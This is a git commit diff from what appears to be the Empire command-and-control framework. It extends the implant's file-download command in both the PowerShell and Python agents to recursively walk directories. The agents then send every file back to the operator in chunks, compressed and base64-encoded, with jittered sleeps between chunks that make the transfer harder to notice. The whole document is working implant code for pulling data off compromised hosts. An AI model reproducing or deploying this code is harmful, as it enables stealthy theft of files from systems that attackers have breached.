Merge branch 'winnie22-directory_download' into dev

fix-for-1142
xorrior 2018-05-02 09:29:00 -04:00
commit 38a8bd8838
2 changed files with 65 additions and 51 deletions

View File

@ -840,37 +840,39 @@ function Invoke-Empire {
$ChunkSize = 1024KB
}
# resolve the complete path
$Path = Get-Childitem $Path | ForEach-Object {$_.FullName}
# resolve the complete paths
$Path = Get-Childitem -Recurse $Path -File | ForEach-Object {$_.FullName}
# read in and send the specified chunk size back for as long as the file has more parts
$Index = 0
do{
$EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize
foreach ( $File in $Path) {
# read in and send the specified chunk size back for as long as the file has more parts
$Index = 0
do{
$EncodedPart = Get-FilePart -File "$file" -Index $Index -ChunkSize $ChunkSize
if($EncodedPart) {
$data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart
(& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID))
$Index += 1
if($EncodedPart) {
$data = "{0}|{1}|{2}" -f $Index, $file, $EncodedPart
(& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID))
$Index += 1
# if there are more parts of the file, sleep for the specified interval
if ($script:AgentDelay -ne 0) {
$min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
$max = [int]((1+$script:AgentJitter)*$script:AgentDelay)
# if there are more parts of the file, sleep for the specified interval
if ($script:AgentDelay -ne 0) {
$min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
$max = [int]((1+$script:AgentJitter)*$script:AgentDelay)
if ($min -eq $max) {
$sleepTime = $min
if ($min -eq $max) {
$sleepTime = $min
}
else{
$sleepTime = Get-Random -minimum $min -maximum $max;
}
Start-Sleep -s $sleepTime;
}
else{
$sleepTime = Get-Random -minimum $min -maximum $max;
}
Start-Sleep -s $sleepTime;
}
}
[GC]::Collect()
} while($EncodedPart)
[GC]::Collect()
} while($EncodedPart)
Encode-Packet -type 40 -data "[*] File download of $path completed" -ResultID $ResultID
Encode-Packet -type 40 -data "[*] File download of $file completed" -ResultID $ResultID
}
}
catch {
Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID

View File

@ -280,41 +280,53 @@ def process_packet(packetType, data, resultID):
elif packetType == 41:
# file download
filePath = os.path.abspath(data)
if not os.path.exists(filePath):
objPath = os.path.abspath(data)
fileList = []
if not os.path.exists(objPath):
return build_response_packet(40, "file does not exist or cannot be accessed", resultID)
offset = 0
size = os.path.getsize(filePath)
partIndex = 0
if not os.path.isdir(objPath):
fileList.append(objPath)
else:
# recursive dir listing
for folder, subs, files in os.walk(objPath):
for filename in files:
#dont care about symlinks
if os.path.exists(objPath):
fileList.append(objPath + "/" + filename)
while True:
for filePath in fileList:
offset = 0
size = os.path.getsize(filePath)
partIndex = 0
# get 512kb of the given file starting at the specified offset
encodedPart = get_file_part(filePath, offset=offset, base64=False)
c = compress()
start_crc32 = c.crc32_data(encodedPart)
comp_data = c.comp_data(encodedPart)
encodedPart = c.build_header(comp_data, start_crc32)
encodedPart = base64.b64encode(encodedPart)
while True:
partData = "%s|%s|%s" %(partIndex, filePath, encodedPart)
if not encodedPart or encodedPart == '' or len(encodedPart) == 16:
break
# get 512kb of the given file starting at the specified offset
encodedPart = get_file_part(filePath, offset=offset, base64=False)
c = compress()
start_crc32 = c.crc32_data(encodedPart)
comp_data = c.comp_data(encodedPart)
encodedPart = c.build_header(comp_data, start_crc32)
encodedPart = base64.b64encode(encodedPart)
send_message(build_response_packet(41, partData, resultID))
partData = "%s|%s|%s" %(partIndex, filePath, encodedPart)
if not encodedPart or encodedPart == '' or len(encodedPart) == 16:
break
global delay
global jitter
if jitter < 0: jitter = -jitter
if jitter > 1: jitter = 1/jitter
send_message(build_response_packet(41, partData, resultID))
minSleep = int((1.0-jitter)*delay)
maxSleep = int((1.0+jitter)*delay)
sleepTime = random.randint(minSleep, maxSleep)
time.sleep(sleepTime)
partIndex += 1
offset += 512000
global delay
global jitter
if jitter < 0: jitter = -jitter
if jitter > 1: jitter = 1/jitter
minSleep = int((1.0-jitter)*delay)
maxSleep = int((1.0+jitter)*delay)
sleepTime = random.randint(minSleep, maxSleep)
time.sleep(sleepTime)
partIndex += 1
offset += 512000
elif packetType == 42:
# file upload